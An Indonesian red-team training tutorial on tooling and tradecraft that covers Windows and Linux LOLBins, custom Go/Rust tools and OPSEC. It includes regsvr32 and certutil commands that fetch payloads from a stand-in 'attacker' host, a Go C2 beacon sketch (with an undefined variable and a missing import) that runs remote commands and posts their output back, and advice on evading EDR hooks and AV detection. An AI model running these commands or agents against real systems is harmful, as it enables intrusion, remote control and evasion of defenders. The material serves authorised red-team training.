Belajar Red Team Operator - Red Team Tooling & Tradecraft

#Pendahuluan

Setelah di episode 15 kita mempelajari physical & social red team — tailgating, vishing, dan USB baiting — pada episode ini kita masuk ke tooling & tradecraft: bagaimana red team beroperasi dengan minimal footprint menggunakan custom tools dan LOLBins (Living Off the Land Binaries).

Tradecraft adalah tentang melakukan sesuatu dengan benar, efisien, dan tanpa jejak. Tool yang baik menghemat waktu; tradecraft yang baik menghemat engagement.

#Living Off the Land (LOLBins)

#Windows LOLBins

Binary	Normal Function	Red Team Use
msbuild.exe	Build .NET projects	Execute XML (Cobalt Strike)
installutil.exe	Install .NET apps	Execute assemblies
regsvr32.exe	Register DLLs	Remote script execution
rundll32.exe	Run DLL functions	Execute DLLs
certutil.exe	Certificate mgmt	Download files
bitsadmin.exe	Background transfer	Download files
wmic.exe	WMI management	Execute commands

bash

# Regsvr32 scriptlet execution
regsvr32 /s /n /u /i:http://attacker/payload.sct scrobj.dll
 
# MSBuild execution
msbuild /nologo /verbosity:quiet /target:XmlOnly payload.xml
 
# Certutil download
certutil -urlcache -split -f http://attacker/payload.exe payload.exe

#Linux LOLBins

Binary	Normal Function	Red Team Use
curl	HTTP client	Download payloads
python	Scripting	Reverse shells
crontab	Scheduler	Persistence
systemctl	Service mgmt	Persistence
ncat	Network utility	Reverse shells

#Custom Red Team Tools

#Go-Based Tooling

// Simple HTTP-based C2 agent (concept)
package main
 
import (
    "net/http"
    "os/exec"
    "time"
)
 
func main() {
    for {
        resp, _ := http.Get("https://c2.example.com/beacon")
        if resp.StatusCode == 200 {
            // Execute received command
            cmd := exec.Command("cmd.exe", "/c", command)
            output, _ := cmd.CombinedOutput()
            http.Post("https://c2.example.com/output", "text/plain", bytes.NewBuffer(output))
        }
        time.Sleep(300 * time.Second)
    }
}

#Rust-Based Evasion

rust

// Concept: direct syscalls to bypass API hooks
// Using direct syscall instead of WinAPI → bypasses userland hooks
 
use std::ffi::CString;
use std::ptr;
 
fn main() {
    // Direct syscall example (conceptual)
    // NtAllocateVirtualMemory → bypasses VirtualAlloc hook
    // NtWriteVirtualMemory → bypasses WriteProcessMemory hook
    // NtCreateThreadEx → bypasses CreateRemoteThread hook
}

#Tradecraft Principles

#OPSEC Checklist

text

Tradecraft Checklist
======================
[ ] No default credentials
[ ] Infrastructure rotated
[ ] Tools obfuscated
[ ] Commands minimized (fewer is better)
[ ] Cleanup scheduled
[ ] Detection monitoring active
[ ] Evidence destruction post-engagement

#Command Minimization

text

Bad (noisy):                    Better (minimal):
================================
10 PowerShell commands          1 PowerShell encoded command
Manual enumeration             Automated script
Multiple connections           Single C2 channel

#Tool Staging

text

Tool Staging Strategy
=======================
Stage 1: Minimal dropper (50-100 bytes)
  → Download Stage 2
 
Stage 2: Loader + small tools (1-5 KB)
  → Download Stage 3
 
Stage 3: Full toolkit (100-500 KB)
  → Only when needed
 
Reduce initial footprint

Tip

Build custom tools untuk engagement spesifik — generic tools (Metasploit, Cobalt Strike) lebih mudah dideteksi. Custom Go/Rust tools dengan random naming akan lebih sulit dideteksi.

#OPSEC in Tool Usage

text

Tool OPSEC
============
1. Rename binaries (mimikatz.exe → syscheck.exe)
2. Avoid default configs
3. Use encrypted channels
4. Validate before execution (test in lab)
5. Cleanup after use
6. Document: apa yang digunakan dan mengapa

#Praktik: Build Custom Tool

bash

# 1. Buat simple C2 agent di Go
# 2. Compile dengan random name
# 3. Test di lab dengan AV aktif
# 4. Jika terdeteksi → modifikasi
# 5. Document: detection rate

#Penutup

Inti yang harus dibawa pulang:

LOLBins: Windows (msbuild, regsvr32, certutil) & Linux (curl, python, crontab).
Custom tools: Go/Rust agents, minimal dependencies, custom naming.
Tradecraft principles: command minimization, tool staging, OPSEC checklist.
OPSEC: rename binaries, encrypted channels, cleanup.

Di episode 17 selanjutnya, kita akan mempelajari metrics & maturity red team — mengukur efektivitas red team program dan maturity model untuk organisasi.